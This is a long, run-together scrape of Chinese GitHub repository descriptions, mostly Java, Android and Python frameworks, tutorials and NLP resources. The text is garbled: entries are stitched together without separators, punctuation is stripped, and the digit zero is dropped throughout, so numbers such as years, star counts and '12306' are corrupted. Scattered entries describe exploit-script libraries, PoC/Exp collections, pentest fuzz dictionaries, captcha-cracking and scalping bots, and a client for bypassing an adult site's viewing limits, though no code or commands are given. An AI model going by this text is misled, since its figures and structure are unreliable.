已经在美团点评的基础架构中间件框架 MVC框架 RPC框架 数据库框架 缓存框架等 消息队列 配置系统等 深度集成 为美团点评各业务线提供系统丰富的性能指标 健康状况 实时告警等 spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 提高 Android UI 开发效率的 UI 库时间选择器 省市区三级联动 Luban 鲁班可能是最接近微信朋友圈的图片压缩算法 Gitee 最有价值开源项目 小而全而美的第三方登录开源组件 目前已支持Github Gitee 微博 钉钉 百度 Coding 腾讯云开发者平台 OSChina 支付宝 QQ 微信 淘宝 Google Facebook 抖音 领英 小米 微软 今日头条人人 华为 企业微信 酷家乐 Gitlab 美团 饿了么 推特 飞书 京东 阿里云 喜马拉雅 Amazon Slack和 Line 等第三方平台的授权登录 Login so easy 今日头条屏幕适配方案终极版 一个极低成本的 Android 屏幕适配方案 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24Mybatis通用分页插件OkGo 3 震撼来袭 该库是基于 协议 封装了 OkHttp 的网络请求框架 比 Retrofit 更简单易用 支持 RxJava RxJava2 支持自定义缓存 支持批量断点下载管理和批量上传管理功能含 Flink 入门 概念 原理 实战 性能调优 源码解析等内容 涉及等内容的学习案例 还有 Flink 落地应用的大型项目案例 PVUV 日志存储 百亿数据实时去重 监控告警 分享 欢迎大家支持我的专栏 大数据实时计算引擎 Flink 实战与性能优化 安卓平台上的JavaScript自动化工具 ️一个整合了大量主流开源项目高度可配置化的 Android MVP 快速集成框架 Spring源码阅读大数据入门指南 android 4 4以上沉浸式状态栏和沉浸式导航栏管理 适配横竖屏切换 刘海屏 软键盘弹出等问题 可以修改状态栏字体颜色和导航栏图标颜色 以及不可修改字体颜色手机的适配 适用于一句代码轻松实现 以及对bar的其他设置 详见README 简书请参考 www jianshu com p 2a884e211a62业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms DataX是阿里云DataWorks数据集成的开源版本 mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 Android开源弹幕引擎 烈焰弹幕使 ~spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se 27天成为Java大神安卓学习笔记 cim cross IM 适用于开发者的分布式即时通讯系统Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 mall swarm是一套微服务商城系统 采用了等核心技术 同时提供了基于Vue的管理后台方便快速搭建系统 mall swarm在电商业务的基础集成了注册中心 配置中心 监控中心 网关等系统功能 文档齐全 附带全套Spring Cloud教程 阅读是一款可以自定义来源阅读网络内容的工具 为广大网络文学爱好者提供一种方便 快捷舒适的试读体验 Spring Cloud基础教程 持续连载更新中阿里巴巴分布式数据库同步系统 解决中美异地机房 基于谷歌最新AAC架构 MVVM设计模式的一套快速开发库 整合OkRxJava Retrofit Glide等主流模块 满足日常开发需求 使用该框架可以快速开发一个高质量 易维护的Android应用 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等是 难得一见 的 Jetpack MVVM 最佳实践 在 以简驭繁 的代码中 对 视图控制器 乃至 标准化开发模式 形成正确 深入的理解 V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器即时通讯 IM 系统多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 ansj分词 ict的真正java实现 分词效果速度都超过开源版的ict 中文分词 人名识别 词性标注 用户自定义词典 book 任阅 网络小说阅读器 3D翻页效果 txt pdf epub书籍阅读 Wifi传书 LeetCode刷题记录与面试整理mybatis generator界面工具 让你生成代码更简单更快捷Spring Cloud 学习案例 服务发现 服务治理 链路追踪 服务监控等 XPopup2 版本重磅来袭 2倍以上性能提升 带来可观的动画性能优化和交互细节的提升 功能强大 交互优雅 动画丝滑的通用弹窗 可以替代等组件 自带十几种效果良好的动画 支持完全的UI和动画自定义搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目权限管理系统 预览地址 47 1 4 7 138 login零反射全动态Android插件框架分布式配置管理平台 通用 IM 聊天 UI 组件 已经同时支持 Android iOS RN 手把手教你整合最优雅SSM框架 SpringMVC Spring MyBatis换肤框架 极低的学习成本 极好的用户体验 一行 代码就可以实现换肤 你值得拥有 JVM 底层原理最全知识总结 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新tcc transaction是TCC型事务java实现 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等安卓选择器类库 包括日期及时间选择器 可用于出生日期 营业时间等 单项选择器 可用于性别 民族 职业 学历 星座等 二三级联动选择器 可用于车牌号 基金定投日期等 城市地址选择器 分省级 地市级及区县级 数字选择器 可用于年龄 身高 体重 温度等 日历选日期择器 可用于酒店及机票预定日期 颜色选择器 文件及目录选择器等 Java工程师面试复习指南 本仓库涵盖大部分Java程序员所需要掌握的核心知识 整合了互联网上的很多优质Java技术文章 力求打造为最完整最实用的Java开发者学习指南 如果对你有帮助 给个star告诉我吧 谢谢 Android MVP 快速开发框架 做国内 示例最全面 注释最详细 使用最简单 代码最严谨 的 Android 开源 UI 框架几行代码快速集成二维码扫描功能MeterSphere 是一站式开源持续测试平台 涵盖测试跟踪 接口测试 性能测试 团队协作等功能 全面兼容 JMeter Postman Swagger 等开源 主流标准 记录各种学习笔记 算法 Java 数据库 并发 下一代Android打包工具 1 个渠道包只需要1 秒钟芋道 mall 商城 基于微服务的思想 构建在 B2C 电商场景下的项目实战 核心技术栈 是 Spring Boot Dubbo 未来 会重构成 Spring Cloud Alibaba Android 万能的等 支持多种Item类型的情况 lanproxy是一个将局域网个人电脑 服务器代理到公网的内网穿透工具 支持tcp流量转发 可支持任何tcp上层协议 访问内网网站 本地支付接口调试 ssh访问 远程桌面 目前市面上提供类似服务的有花生壳 TeamView GoToMyCloud等等 但要使用第三方的公网服务器就必须为第三方付费 并且这些服务都有各种各样的限制 此外 由于数据包会流经第三方 因此对数据安全也是一大隐患 技术交流QQ群 1 6742433 更优雅的驾车体验下载可以很简单 ️ 云阅 一款基于网易云音乐UI 使用玩架构开发的符合Google Material Design的Android客户端开源的 Material Design 豆瓣客户端一款针对系统PopupWindow优化的Popup库 功能强大 支持背景模糊 使用简单 你会爱上他的 PLDroidPlayer 是七牛推出的一款免费的适用于 Android 平台的播放器 SDK 采用全自研的跨平台播放内核 拥有丰富的功能和优异的性能 可高度定制化和二次开发 该项目已停止维护 9 Porn Android 客户端 突破游客每天观看1 次视频的限制 还可以下载视频 ️蓝绿 灰度 路由 限流 熔断 降级 隔离 追踪 流量染色 故障转移一本关于排序算法的 GitBook 在线书籍 十大经典排序算法 多语言实现 多种下拉刷新效果 上拉加载更多 可配置自定义头部广告位完全仿微信的图片选择 并且提供了多种图片加载接口 选择图片后可以旋转 可以裁剪成矩形或圆形 可以配置各种其他的参数SoloPi 自动化测试工具龙果支付系统 roncoo pay 是国内首款开源的互联网支付系统 拥有独立的账户体系 用户体系 支付接入体系 支付交易体系 对账清结算体系 目标是打造一款集成主流支付方式且轻量易用的支付收款系统 满足互联网业务系统打通支付通道实现支付收款和业务资金管理等功能 键盘面板冲突 布局闪动处理方案 咕泡学院实战项目 基于SpringBoot Dubbo构建的电商平台 微服务架构 商城 电商 微服务 高并发 kafka Elasticsearch停车场系统源码 停车场小程序 智能停车 Parking system 功能介绍 ①兼容市面上主流的多家相机 理论上兼容所有硬件 可灵活扩展 ②相机识别后数据自动上传到云端并记录 校验相机唯一id和硬件序列号 防止非法数据录入 ③用户手机查询停车记录详情可自主缴费 支持微信 支付宝 银行接口支付 支持每个停车场指定不同的商户进行收款 支付后出场在免费时间内会自动抬杆 ④支持app上查询附近停车场 导航 可用车位数 停车场费用 优惠券 评分 评论等 可预约车位 ⑤断电断网支持岗亭人员使用app可接管硬件进行停车记录的录入 技术架构 后端开发语言java 框架oauth2 spring 成长路线 但学到不仅仅是Java 业界首个支持渐进式组件化改造的Android组件化开源框架 支持跨进程调用SpringBoot2 从入门到实战 旨在打造在线最佳的 Java 学习笔记 含博客讲解和源码实例 包括 Java SE 和 Java WebJava诊断工具年薪百万互联网架构师课程文档及源码 公开部分 AndroidHttpCapture网络诊断工具 是一款Android手机抓包软件 主要功能包括 手机端抓包 PING DNS TraceRoute诊断 抓包HAR数据上传分享 你也可以看成是Android版的 Fiddler o 这可能是史上功能最全的Java权限认证框架 目前已集成 登录认证 权限认证 分布式Session会话 微服务网关鉴权 单点登录 OAuth2 踢人下线 Redis集成 前后台分离 记住我模式 模拟他人账号 临时身份切换 账号封禁 多账号认证体系 注解式鉴权 路由拦截式鉴权 花式token生成 自动续签 同端互斥登录 会话治理 密码加密 jwt集成 Spring集成 WebFlux集成 Android平台下的富文本解析器 支持Html和Markdown智能图片裁剪框架 自动识别边框 手动调节选区 使用透视变换裁剪并矫正选区 适用于身份证 名片 文档等照片的裁剪 俗名 可垂直跑 可水平跑的跑马灯 学名 可垂直翻 可水平翻的翻页公告 小马哥技术周报 Android Video Player 安卓视频播放器 封装模仿抖音并实现预加载 列表播放 悬浮播放 广告播放 弹幕 重学Java设计模式 是一本互联网真实案例实践书籍 以落地解决方案为核心 从实际业务中抽离出 交易 营销 秒杀 中间件 源码等22个真实场景 来学习设计模式的运用 欢迎关注小傅哥 微信 fustack 公众号 bugstack虫洞栈 博客 bugstack cnmybatis源码中文注释一款开源的GIF在线分享App 乐趣就要和世界分享 MPush开源实时消息推送系统在线云盘 网盘 OneDrive 云存储 私有云 对象存储 h5ai基于Spring Boot 2 x的一站式前后端分离快速开发平台XBoot 微信小程序 Uniapp 前端 Vue iView Admin 后端分布式限流 同步锁 验证码 SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式Guns基于SpringBoot 2 致力于做更简洁的后台管理系统 完美整合项目代码简洁 注释丰富 上手容易 同时Guns包含许多基础模块 用户管理 角色管理 部门管理 字典管理等1 个模块 可以直接作为一个后台管理系统的脚手架 Android 版本更新一个简洁而优雅的Android原生UI框架 解放你的双手 一套完整有效的android组件化方案 支持组件的组件完全隔离 单独调试 集成调试 组件交互 UI跳转 动态加载卸载等功能适用于Java和Android的快速 低内存占用的汉字转拼音库 Codes of my MOOC Course <我在慕课网上的课程 算法与数据结构 示例代码 包括C 和Java版本 课程的更多更新内容及辅助练习也将逐步添加进这个代码仓 Hope Boot 一款现代化的脚手架项目一个简单漂亮的SSM Spring SpringMVC Mybatis 博客系统根据Gson库使用的要求 将JSONObject格式的String 解析成实体B站 哔哩哔哩 Bilibili 自动签到投币工具 每天轻松获取65经验值 支持每日自动投币 银瓜子兑换硬币 领取大会员福利 大会员月底给自己充电等功能 呐 赶快和我一起成为Lv6吧 IJPay 让支付触手可及 封装了微信支付 QQ支付 支付宝支付 京东支付 银联支付 PayPal 支付等常用的支付方式以及各种常用的接口 不依赖任何第三方 mvc 框架 仅仅作为工具使用简单快速完成支付模块的开发 可轻松嵌入到任何系统里 右上角点下小星星 High quality pure Weex demo 网易严选 App 感受 Weex 开发Android 快速实现新手引导层的库 通过简洁链式调用 一行代码实现引导层的显示通过标签直接生成shape 无需再写shape xml 本库是一款基于RxJava2 Retrofit2实现简单易用的网络请求框架 结合android平台特性的网络封装库 采用api链式调用一点到底 集成cookie管理 多种缓存模式 极简https配置 上传下载进度显示 请求错误自动重试 请求携带token 时间戳 签名sign动态配置 自动登录成功后请求重发功能 3种层次的参数设置默认全局局部 默认标准ApiResult同时可以支持自定义的数据结构 已经能满足现在的大部分网络请求 Android BLE蓝牙通信库 基于Flink实现的商品实时推荐系统 flink统计商品热度 放入redis缓存 分析日志信息 将画像标签和实时记录放入Hbase 在用户发起推荐请求后 根据用户画像重排序热度榜 并结合协同过滤和标签两个推荐模块为新生成的榜单的每一个产品添加关联产品 最后返回新的用户列表 播放器基础库 专注于播放视图组件的高复用性和组件间的低耦合 轻松处理复杂业务 图片选择库 单选 多选 拍照 裁剪 压缩 自定义 包括视频选择和录制 DataX集成可视化页面 选择数据源即可一键生成数据同步任务 支持等数据源 批量创建RDBMS数据同步任务 集成开源调度系统 支持分布式 增量同步数据 实时查看运行日志 监控执行器资源 KILL运行进程 数据源信息加密等 Deprecated android 自定义日历控件 支持左右无限滑动 周月切换 标记日期显示 自定义显示效果跳转到指定日期一个通过动态加载本地皮肤包进行换肤的皮肤框架这是RedSpider社区成员原创与维护的Java多线程系列文章 一站式Apache Kafka集群指标监控与运维管控平台快速开发工具类收集 史上最全的开发工具类 欢迎Follow Fork Star后端技术总结 包括Java基础 JVM 数据库 mysql redis 计算机网络 算法 数据结构 操作系统 设计模式 系统设计 框架原理 最佳阅读地址Android源码设计模式分析项目可能是最好的支付SDK 停止维护 组件化综合案例 包含微信新闻 头条视频 美女图片 百度音乐 干活集中营 玩Android 豆瓣读书电影 知乎日报等等模块 架构模式 组件化阿里VLayout 腾讯X5 腾讯bugly 融合开发中需要的各种小案例 开源OA系统 码云GVP Java开源oa 企业OA办公平台 企业OA 协同办公OA 流程平台OA O2OA OA 支持国产麒麟操作系统和国产数据库 达梦 人大金仓 政务OA 军工信息化OA以Spring Cloud Netflix作为服务治理基础 展示基于tcc思想所实现的分布式事务解决方案一个帮助您完成从缩略视图到原视图无缝过渡转变的神奇框架 系统重构与迁移指南 手把手教你分析 评估现有系统 制定重构策略 探索可行重构方案 搭建测试防护网 进行系统架构重构 服务架构重构 模块重构 代码重构 数据库重构 重构后的架构守护版本检测升级 更新 库小说精品屋是一个多平台 web 安卓app 微信小程序 功能完善的屏幕自适应小说漫画连载系统 包含精品小说专区 轻小说专区和漫画专区 包括小说 漫画分类 小说 漫画搜索 小说 漫画排行 完本小说 漫画 小说 漫画评分 小说 漫画在线阅读 小说 漫画书架 小说 漫画阅读记录 小说下载 小说弹幕 小说 漫画自动采集 更新 纠错 小说内容自动分享到微博 邮件自动推广 链接自动推送到百度搜索引擎等功能 Android 徽章控件 致力于打造一款极致体验的 www wanandroid com 客户端 知识和美是可以并存的哦QAQn ≧ ≦ n 从源码层面 剖析挖掘互联网行业主流技术的底层实现原理 为广大开发者 “提升技术深度” 提供便利 目前开放 Spring 全家桶 Mybatis Netty Dubbo 框架 及 Redis Tomcat 中间件等Redis 一站式管理平台 支持集群的监控 安装 管理 告警以及基本的数据操作该项目不再维护 仅供学习参考专注批量推送的小而美的工具 目前支持 模板消息 公众号 模板消息 小程序 微信客服消息 微信企业号 企业微信消息 阿里云短信 阿里大于模板短信 腾讯云短信 云片网短信 E Mail HTTP请求 钉钉 华为云短信 百度云短信 又拍云短信 七牛云短信Android 平台开源天气 App 采用等开源库来实现 SpringBoot 相关漏洞学习资料 利用方法和技巧合集 黑盒安全评估 check listAndroid 权限请求框架 已适配 Android 11微信SDK JAVA 公众平台 开放平台 商户平台 服务商平台 QMQ是去哪儿网内部广泛使用的消息中间件 自2 12年诞生以来在去哪儿网所有业务场景中广泛的应用 包括跟交易息息相关的订单场景 也包括报价搜索等高吞吐量场景 Java 23种设计模式全归纳linux运维监控工具 支持系统信息 内存 cpu 温度 磁盘空间及IO 硬盘smart 系统负载 网络流量 进程等监控 API接口 大屏展示 拓扑图 端口监控 docker监控 日志文件监控 数据可视化 webSSH工具 堡垒机 跳板机 这可能是全网最好用的ViewPager轮播图 简单 高效 一行代码实现循环轮播 一屏三页任意变 指示器样式任你挑 一种简单有效的android组件化方案 支持组件的代码资源隔离 单独调试 集成调试 组件交互 UI跳转 生命周期等完整功能 一个强大 1 % 兼容 支持 AndroidX 支持 Kotlin并且灵活的组件化框架JPress 一个使用 Java 开发的建站神器 目前已经有 1 w 网站使用 JPress 进行驱动 其中包括多个政府机构 2 上市公司 中科院 红 字会等 分布式事务易用的轻量化网络爬虫 Android系统源码分析重构中一款免费的数据可视化工具 报表与大屏设计 类似于excel操作风格 在线拖拽完成报表设计 功能涵盖 报表设计 图形报表 打印设计 大屏设计等 永久免费 秉承“简单 易用 专业”的产品理念 极大的降低报表开发难度 缩短开发周期 节省成本 解决各类报表难题 Android Activity 滑动返回 支持微信滑动返回样式 横屏滑动返回 全屏滑动返回SpringBoot 基础教程 从入门到上瘾 基于2 M5制作 仿微信视频拍摄UI 基于ffmpeg的视频录制编辑Python 1 天从新手到大师 分享 GitHub 上有趣 入门级的开源项目中英文敏感词 语言检测 中外手机 电话归属地 运营商查询 名字推断性别 手机号抽取 身份证抽取 邮箱抽取 中日文人名库 中文缩写库 拆字词典 词汇情感值 停用词 反动词表 暴恐词表 繁简体转换 英文模拟中文发音 汪峰歌词生成器 职业名称词库 同义词库 反义词库 否定词库 汽车品牌词库 汽车零件词库 连续英文切割 各种中文词向量 公司名字大全 古诗词库 IT词库 财经词库 成语词库 地名词库 历史名人词库 诗词词库 医学词库 饮食词库 法律词库 汽车词库 动物词库 中文聊天语料 中文谣言数据 百度中文问答数据集 句子相似度匹配算法集合 bert资源 文本生成 摘要相关工具 cocoNLP信息抽取 2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票结巴中文分词 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理微信个人号接口 微信机器人及命令行微信 三十行即可自定义个人号机器人 数据结构和算法必知必会的5 个代码实现JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 飞桨 核心框架 深度学习 机器学习高性能单机 分布式训练和跨平台部署 中国程序员容易发音错误的单词微信 跳一跳 Python 辅助 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等Python爬虫代理IP池 proxy pool wtfpython的中文翻译 施工结束 能力有限 欢迎帮我改进翻译提供多款 Shadowrocket 规则 带广告过滤功能 用于 iOS 未越狱设备选择性地自动翻墙 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 walle 瓦力 Devops开源项目代码部署平台一些非常有趣的python爬虫例子 对新手比较友好 主要爬取淘宝 天猫 微信 豆瓣 QQ等网站机器学习相关教程1 Chinese Word Vectors 上百种预训练中文词向量 网易云音乐命令行版本一款入门级的人脸 视频 文字检测以及识别的项目 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵微信助手 1 每日定时给好友 女友 发送定制消息 2 机器人自动回复好友 3 群助手功能 例如 查询垃圾分类 天气 日历 电影实时票房 快递物流 PM2 5等 二维码生成器 支持 gif 动态图片二维码 阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构 book 中华新华字典数据库 包括歇后语 成语 词语 汉字 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? 迁移学习python爬虫教程系列 从 到1学习python爬虫 包括浏览器抓包 手机APP抓包 如 fiddler mitmproxy 各种爬虫涉及的模块的使用 如等 以及IP代理 验证码识别 Mysql MongoDB数据库的python使用 多线程多进程爬虫的使用 css 爬虫加密逆向破解 JS爬虫逆向 分布式爬虫 爬虫项目实战实例等Python脚本 模拟登录知乎 爬虫 操作excel 微信公众号 远程开机越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 人人影视bot 完全对接人人影视全部无删减资源莫烦Python 中文AI教学飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 轻量级人脸检测模型 百度云 百度网盘Python客户端 Python进阶 Intermediate Python 中文版 提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案INFO SPIDER 是一个集众多数据源于一身的爬虫工具箱 旨在安全快捷的帮助用户拿回自己的数据 工具代码开源 流程透明 支持数据源包括GitHub QQ邮箱 网易邮箱 阿里邮箱 新浪邮箱 Hotmail邮箱 Outlook邮箱 京东 淘宝 支付宝 中国移动 中国联通 中国电信 知乎 哔哩哔哩 网易云音乐 QQ好友 QQ群 生成朋友圈相册 浏览器浏览历史 123 6 博客园 CSDN博客 开源中国博客 简书 中文BERT wwm系列模型 Python入门网络爬虫之精华版中文 iOS Mac 开发博客列表Python网页微信APIpkuseg多领域中文分词工具自己动手做聊天机器人教程基于搜狗微信搜索的微信公众号爬虫接口用深度学习对对联 v2ray xray多用户管理部署程序各种脚本 关于 虾米 xiami com 百度网盘 pan baidu com 115网盘 115 com 网易音乐 music 163 com 百度音乐 music baidu com 36 网盘 云盘 yunpan cn 视频解析 flvxz com bt torrent ↔ magnet ed2k 搜索 tumblr 图片下载 unzip查看被删的微信好友定投改变命运 让时间陪你慢慢变富 onregularinvesting com 机器学习实战 Python3 kNN 决策树 贝叶斯 逻辑回归 SVM 线性回归 树回归Statistical learning methods 统计学习方法 第2版 李航 笔记 代码 notebook 参考文献 Errata lihang stock 股票系统 使用python进行开发 基于深度学习的中文语音识别系统京东抢购助手 包含登录 查询商品库存 价格 添加 清空购物车 抢购商品 下单 查询订单等功能莫烦Python 中文AI教学机器学习算法python实现新浪微博爬虫 用python爬取新浪微博数据的算法以及通用生成对抗网络图像生成的理论与实践研究 青岛大学开源 Online Judge QQ群 49671 125 admin qduoj comWeRoBot 是一个微信公众号开发框架 基于Django的博客系统 中文近义词 聊天机器人 智能问答工具包开源财经数据接口库巡风是一款适用于企业内网的漏洞快速应急 巡航扫描系统 番号大全 解决电脑 手机看电视直播的苦恼 收集各种直播源 电视直播网站知识图谱构建 自动问答 基于kg的自动问答 以疾病为中心的一定规模医药领域知识图谱 并以该知识图谱完成自动问答与分析服务 出处本地电影刮削与整理一体化解决方案自动化运维平台 CMDB CD DevOps 资产管理 任务编排 持续交付 系统监控 运维管理 配置管理 wukong robot 是一个简单 灵活 优雅的中文语音对话机器人 智能音箱项目 还可能是首个支持脑机交互的开源智能音箱项目 获取斗鱼 虎牙 哔哩哔哩 抖音 快手等 55 个直播平台的真实流媒体地址 直播源 和弹幕 直播源可在 PotPlayer flv js 等播放器中播放 宝塔Linux面板 简单好用的服务器运维面板农业知识图谱 AgriKG 农业领域的信息检索 命名实体识别 关系抽取 智能问答 辅助决策CODO是一款为用户提供企业多混合云 一站式DevOps 自动化运维 完全开源的云管理平台 自动化运维平台Web Pentesting Fuzz 字典 一个就够了 计算机网络 自顶向下方法 原书第6版 编程作业 Wireshark实验文档的翻译和解答 中文古诗自动作诗机器人 屌炸天 基于tensorflow1 1 api 正在积极维护升级中 快star 保持更新 PyQt Examples PyQt各种测试和例子 PyQt4 PyQt5海量中文预训练ALBERT模型汉字转拼音 pypinyin 数据结构与算法 leetcode lintcode题解 Pytorch模型训练实用教程 中配套代码实时获取新浪 腾讯 的免费股票行情 集思路的分级基金行情Python爬虫 Flask网站 免费ShadowSocks账号 ssr订阅 json 订阅实战 多种网站 电商数据爬虫 包含 淘宝商品 微信公众号 大众点评 企查查 招聘网站 闲鱼 阿里任务 博客园 微博 百度贴吧 豆瓣电影 包图网 全景网 豆瓣音乐 某省药监局 搜狐新闻 机器学习文本采集 fofa资产采集 汽车之家 国家统计局 百度关键词收录数 蜘蛛泛目录 今日头条 豆瓣影评 携程 小米应用商店 安居客 途家民宿 ️ ️ ️ 微信爬虫展示项目 SQL 审核查询平台团子翻译器 个人兴趣制作的一款基于OCR技术的翻译器自动化运维平台 代码及应用部署CI CD 资产管理CMDB 计划任务管理平台 SQL审核 回滚 任务调度 站内WIKISource Code Security Audit 源代码安全审计 Exphub 漏洞利用脚本库 包括的漏洞利用脚本 最新添加我的自学笔记 终身更新 当前专注System基础 MLSys 使用机器学习算法完成对123 6验证码的自动识别Python 开源项目之 自学编程之路 保姆级教程 AI实验室 宝藏视频 数据结构 学习指南 机器学习实战 深度学习实战 网络爬虫 大厂面经 程序人生 资源分享 中文文本分类基于pytorch 开箱即用 根据网易云音乐的歌单 下载flac无损音乐到本地腾讯优图高精度双分支人脸检测器文本纠错等模型实现 开箱即用 3 天掌握量化交易 持续更新 中文分词 词性标注 命名实体识别 依存句法分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁 自然语言处理中文公开聊天语料库豆瓣读书的爬虫总结梳理自然语言处理工程师 NLP 需要积累的各方面知识 包括面试题 各种基础知识 工程能力等等 提升核心竞争力中文自然语言处理数据集 平时做做实验的材料 欢迎补充提交合并 一个可以自己进行训练的中文聊天机器人 根据自己的语料训练出自己想要的聊天机器人 可以用于智能客服 在线问答 智能聊天等场景 目前包含seq2seq seqGAN版本 tf2 版本 pytorch版本 股票量化框架 支持行情获取以及交易微博爬虫 持续维护 Bilibili 用户爬虫 deepin源移植 Debian Ubuntu上最快的QQ 微信安装方式 新闻网页正文通用抽取器 Beta 版 flag on post 自动更新域名解析到本机IP 支持dnspod 阿里DNS CloudFlare 华为云 DNSCOM 本项目针对字符型图片验证码 使用tensorflow实现卷积神经网络 进行验证码识别 owllook 小说搜索引擎中文语言理解测评基准python中文库 python人工智能大数据自动化接口测试开发 书籍下载及python库汇总china testing github io 2 19新型冠状病毒疫情时间序列数据仓库Python 黑魔法手册单阶段通用目标检测器一个拍照做题程序 输入一张包含数学计算题的图片 输出识别出的数学计算式以及计算结果 video download B站视频下载中文命名实体识别 TensorFlow Python 中文数据结构和算法教程 验证码识别 训练Python爬虫实战 模拟登陆各大网站 包含但不限于 滑块验证 拼多多 美团 百度 bilibili 大众点评 淘宝 如果喜欢请start ️学无止下载器 慕课下载器 Mooc下载 慕课网下载 中国大学下载 爱课程下载 网易云课堂下载 学堂在线下载 超星学习通下载 支持视频 课件同时下载一个高级web目录 文件扫描工具 功能将会强于DirBuster Dirsearch cansina 御剑 搜索所有中文NLP数据集 附常用英文NLP数据集中文实体识别与关系提取2 19新型冠状病毒疫情实时爬虫及github release archive以及项目文件的加速项目安卓应用安全学习抓取大量免费代理 ip 提取有效 ip 使用RoBERTa中文预训练模型 RoBERTa for Chinese 用于训练中英文对话系统的语料库敏感词过滤的几种实现 某1w词敏感词库简单易用的Python爬虫框架 QQ交流群 59751 56 使用Bert ERNIE 进行中文文本分类为 CSAPP 视频课程提供字幕 翻译 PPT Lab PyTorch 官方中文教程包含 6 分钟快速入门教程 强化教程 计算机视觉 自然语言处理 生成对抗网络 强化学习 欢迎 Star Fork 兜哥出品 <一本开源的NLP入门书籍 图像翻译 条件GAN AI绘画用Resnet1 1 GPT搭建一个玩王者荣耀的AI各种漏洞poc Exp的收集或编写斗地主AIVulmap 是一款 web 漏洞扫描和验证工具 可对 webapps 进行漏洞扫描 并且具备漏洞验证功能提供超過 5 個金融資料 台股為主 每天更新 finmind github io 数据接口 百度 谷歌 头条 微博指数 宏观数据 利率数据 货币汇率 千里马 独角兽公司 新闻联播文字稿 影视票房数据 高校名单 疫情数据 PyOne 一款给力的onedrive文件管理 分享程序 使用开发的用于迅速搭建并使用 WebHook 进行自动化部署和运维 支持 Github GitLab Gogs GitOsc 跟我一起写Makefile重制版 python自动化运维 技术与最佳实践 书中示例及案例源码自然语言处理实验 sougou数据集 TF IDF 文本分类 聚类 词向量 情感识别 